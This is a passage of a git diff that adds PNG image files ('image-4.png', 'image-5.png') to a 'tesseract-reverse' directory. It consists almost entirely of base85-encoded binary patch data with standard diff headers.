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 literal 0 HcmV?d00001 diff --git a/tesseract-reverse/image-4.png b/tesseract-reverse/image-4.png new file mode 100644 index 0000000000000000000000000000000000000000..61e676750959916c2ad48cb37e04bc8df938ecc8 GIT binary patch literal 4654 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 L#=4c-j#2*w2iy{o literal 0 HcmV?d00001 diff --git a/tesseract-reverse/image-5.png b/tesseract-reverse/image-5.png new file mode 100644 index 0000000000000000000000000000000000000000..3b7050df84ce0f81603b7b70605184bfff5013cf GIT binary patch literal 124759 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 